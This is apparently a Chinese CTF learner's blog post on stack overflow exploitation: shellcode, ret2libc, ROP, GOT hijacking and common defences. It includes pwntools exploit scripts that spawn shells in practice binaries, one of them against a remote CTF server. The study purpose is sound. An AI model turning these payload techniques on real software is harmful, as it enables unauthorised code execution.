2019-04-05一个月的约定

一个月的约定快要到了,疯狂补栈溢出知识,偷看大佬们博客,希望学到点什么。

栈溢出学习网站

CTF Wiki

栈溢出好文

手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)

栈溢出好文中学到的

4种方法:

修改返回地址,让其指向溢出数据中的一段指令(shellcode)
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)

1、修改返回地址,让其指向溢出数据中的一段指令(shellcode)
payload : padding1 + address of shellcode + padding2 + shellcode

填充数据(padding1)长度应该刚好覆盖函数的基地址,长度可用gdb调试输入大量乱码使其报出地址,找偏移然后加“AAAA”(32位机)(64位机为8位)之类覆盖地址。
padding2 里填充若干长度的 “\x90”即 NOP,只要返回地址能够命中这一段中的任意位置,都可以无副作用地跳转到 shellcode 的起始处, NOP Sled(“滑雪橇”)。

操作系统关闭了内存布局随机化,即Address Space Layout Randomization (ASLR) 时,技术才可以生效。同时,在函数调用栈上的数据(shellcode)要有可执行的权限

2、修改返回地址,让其指向内存中已有的某个函数(return2libc)
payload: padding1 + address of system()(系统级的函数)+ padding2(32位机长度为4) + address of “/bin/sh”(必要的参数)

system()地址:直接查看 system() 的地址或动态库起始地址+相对偏移。 “/bin/sh” 的地址:动态库里搜索字符串,如果存在,就可以按照动态库起始地址+相对偏移来确定其绝对地址。如果在动态库里找不到,可以将这个字符串加到环境变量里,再通过 getenv() 等函数来确定地址。

要关闭内存布局随机化(ASLR)

3、修改返回地址,让其指向内存中已有的一段指令(ROP)
payload : padding + address of gadget 1 + address of gadget 2 + ...... + address of gadget n
(最终)payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode

如果想连续执行若干段指令,就需要每个 gadget(某段指令,意为小工具) 执行完毕可以将控制权交给下一个 gadget。所以 gadget 的最后一步应该是 RET 指令,这样程序的控制权(eip)才能得到切换,所以这种技术被称为返回导向编程( Return Oriented Programming )。
(太长不方便总结)现在任务可以分解为:针对程序栈溢出所要实现的效果,找到若干段以 ret 作为结束的指令片段,按照上述的构造将它们的地址填充到溢出数据中。所以我们要解决以下几个问题:(1)首先,栈溢出之后要实现什么效果?(2)其次,如何寻找对应的指令片段?(3)最后,如何传入系统调用的参数?

有两个方面需要注意:第一找gadget“曲线救国”,第二要小心 gadget 是否会破坏前面各个 gadget 已经实现的部分,比如可能修改某个已经写入数值的寄存器。另外,要特别小心 gadget 对 ebp 和 esp 的操作,因为它们的变化会改变返回地址的位置,进而使后续的 gadget 无法执行。

4、修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)

我们的目标分解为:确定函数 A 在 GOT 表中的条目位置, B 在内存中的地址,将函数 B 的地址写入函数 A 在 GOT 表中的条目。那么后面所有对函数 A 的调用都会执行函数 B。

(1)如何确定函数 A 在 GOT 表中的条目位置?例如

call 0x08048430 printf@plt

就说明 printf 在 PLT 表中的入口点是在 0x08048430,所以 0x08048430 处存储的就是 GOT 表中 printf 的条目地址。
(2)如何确定函数 B 在内存中的地址?
假如我们知道了函数 A 的运行时地址(读取 GOT 表内容),也知道函数 A 和函数 B 在动态链接库内的相对位置,就可以推算出函数 B 的运行时地址。
(3)如何实现 GOT 表中数据的修改?
巧借ROP

其它相关知识

1、现代操作系统内存通常是以分段的形式存放不同类型的信息的。函数调用栈就是分段的一个部分(Stack Segment)。内存分段还包括堆(Heap Segment)、数据段(Data Segment),BSS段,以及代码段(Code Segment)。

2、32位x86架构下的汇编语言有 Intel 和 AT&T 两种格式,常用Intel,两者最主要的差别为Intel 格式,寄存器名称和数值前无符号:
“指令名称 目标操作数 DST,源操作数 SRC”

AT&T 格式,寄存器名称前加“%”,数值前加“$”:
“指令名称 源操作数 SRC,目标操作数 DST”

CALL:调用指令,将当前的 eip 压入栈顶,并将 PTR 存入 eip,格式为

CALL PTR;

RET:返回指令,操作为将栈顶数据弹出至 eip,格式为

RET;

3、GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址。PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),换言之程序总会到 PLT 这里寻找外部函数的地址。 PLT 表内存储的入口点就是 GOT 表中对应条目的地址。

4、操作系统常见防御措施
首先,通常情况下程序在默认编译设置下都会取消栈上数据的可执行权限,这样简单的 shellcode 溢出攻击就无法实现了。其次,可以在操作系统内开启内存布局随机化(ASLR),这样可以增大确定堆栈内数据和动态库内函数的内存地址的难度。编译程序时还可以设置某些编译选项,使程序在运行时会在函数栈上的 ebp 地址和返回地址之间生成一个特殊的值,这个值被称为“金丝雀”(“canary”)(关于这个典故,我自行谷歌了一下)。矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。类似,一旦发生栈溢出并覆盖了返回地址,这个值就会被改写,从而实现函数栈的越界检查。最后值得强调的是,尽可能写出安全可靠的代码,不给栈溢出提供写入越界的可能。

乌班图的使用上

1、有用的快捷键

shift+ctrl+c 复制
shift+ctrl+v 粘贴
ctrl+l 清屏且消息在上方
ctrl+r 查看历史命令
bc 按回车后可进行简单的加减乘除
↑ ↓ 向上向下找命令

2、某些命令

我的pattern有问题,就借用了cyclic
cyclic 150相当于pattern create 150//制造了150个乱码
cyclic -l 0x6261616a相当于pattern offset 0x6261616b6261616a//寻找偏移地址,注意:只要后8位
checksec 某文件//要变成日常操作,参见大佬总结,虽然我没看懂//www.greatytc.com/p/8a9ef7205632
file 某文件//可以显示文件为32位或64位
chmod [who] [opt] [mode] 文件/目录名
who表示对象。u:文件所有者 g:同组用户 o:其它用户 a:所有用户
opt则是代表操作。+:添加某个权限 -:取消某个权限 =:赋予给定的权限,并取消原有的权限
mode代表权限。r:可读 w:可写 x:可执行
例如:为同组用户增加对文件a.txt的读写权限:chmod g+rw a.txt
chmod [mode] 文件名//r:4,w:2,x:1
例如:d rwx rwx ---就是770
mv 来源档 目标档
例如:mv ccc ./aaa //把文件ccc移到目录aaa下
mv ccc bbb //把ccc名字改为bbb
mkdir//创建目录
rmdir//删除空目录
rm//删除目录或文件
rm -rf//强制删除所有
touch //创建文件或改文件日期(可创多个文件)
cp//复制文件或目录
例如:cp aaa bbb或cp aaa 位置
cat//查看文件内容
echo " ··· ">某文件//可顺便创一个文件

rop的小工具gadget
查找可存储寄存器的代码
ROPgadget --binary level0(文件名) --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'//一次性找三个,但是要注意顺序

ROPgadget --binary rop --only 'pop|ret' | grep 'eax' | grep 'ecx' | grep 'edx'

查找字符串

ROPgadget --binary rop --string "/bin/sh"

查找有int 0x80的地址

ROPgadget --binary rop --only 'int'

3、某些脚本

这些都是32位的

level0的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
lf = ELF('./oj/level0')
callsys_addr = elf.symbols['callsystem']
io = process('./oj/level0')
io.recvuntil('World\n')
payload = 'A' * (136) + p64(callsys_addr)
io.send(payload)
io.interactive()
io.close()

level2的脚本1

#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
# p = process('./level2')
p = remote("pwn2.jarvisoj.com","9878")
system = 0x8048320
binsh = 0x804A024
#system("/bin/sh")
payload = 0x8c * "A" + p32(system) + p32(0) + p32(binsh)  #将/bin/sh压入栈中作为system 的参数
p.sendline(payload)
p.interactive()

level2的脚本2

#-*- coding:utf-8 -*-
from pwn import *

p = process('./level2')
system = 0x8048320#system("/bin/sh")
binsh = 0x804A024

payload = 0x88 * "A" + p32(0) + p32(system) + p32(0) + p32(binsh)
#第一个p32(0)可改成“AAAA”(四个垃圾字符),那不就是脚本1吗,哈哈  
p.sendline(payload)
p.interactive()

ret2syscall的脚本
execve(‘/bin/sh’,NULL,NULL)execve的系统调用号是0x0b
execve系统调用号赋给eax寄存器,将参数”/bin/sh”的地址赋值给ebx寄存器,参数NULL,NULL赋值给ecx和edx寄存器,触发 0x80 号中断

#encoding:utf-8
from pwn import *
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = 'A' * 112#用以往定位偏移的方法得到
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bin_sh)
#address of gadget + param for register
payload +=p32(int_0x80)
io = process('ret2syscall')
io.sendline(payload)
io.interactive()

ret2shellcode的脚本

# -*- coding: utf-8 -*-

from pwn import *
sh = process('./ret2shellcode')
buf = 0x804A080
shellcode = asm(shellcraft.sh())#自动生成shellcode
sh.sendline(shellcode.ljust(112,'a')+p32(buf))
sh.interactive()

ida的使用上

大佬的ida用法
//www.greatytc.com/p/ee0fcf93c8e7

以下是新新手的ida用法

1、有用的快捷键

shift+F12//查找字符串
R ASCII->字符
H 字符->ASCII
G 跳地址
Alt+t 找特定字符串

OllyDebug的使用

大佬的OllyDebug用法
//www.greatytc.com/p/6c8efc15f1ad

以下是新新手的OllyDebug用法
ctrl+G 跳转到某个地址处
F2 加断点
ctrl + F2 重启程序
F7 单步进入
F8 单步不进入
F9 直接运行

其它

32位程序与64位程序的区别

寻址能力:64位最大支持到16GB内存,而32位只支持4G内存
机器字长:64位为8个字节,而32位为4个字节
调用函数的参数:64位程序中的函数参数先放在寄存器中,而32位直接放入栈中
寄存器顺序为rdi,rsi,rdx,rcx,r8,r9

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,454评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,553评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,921评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,648评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,770评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,950评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,090评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,817评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,275评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,592评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,724评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,409评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,052评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,815评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,043评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,503评论 2 361
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,627评论 2 350

推荐阅读更多精彩内容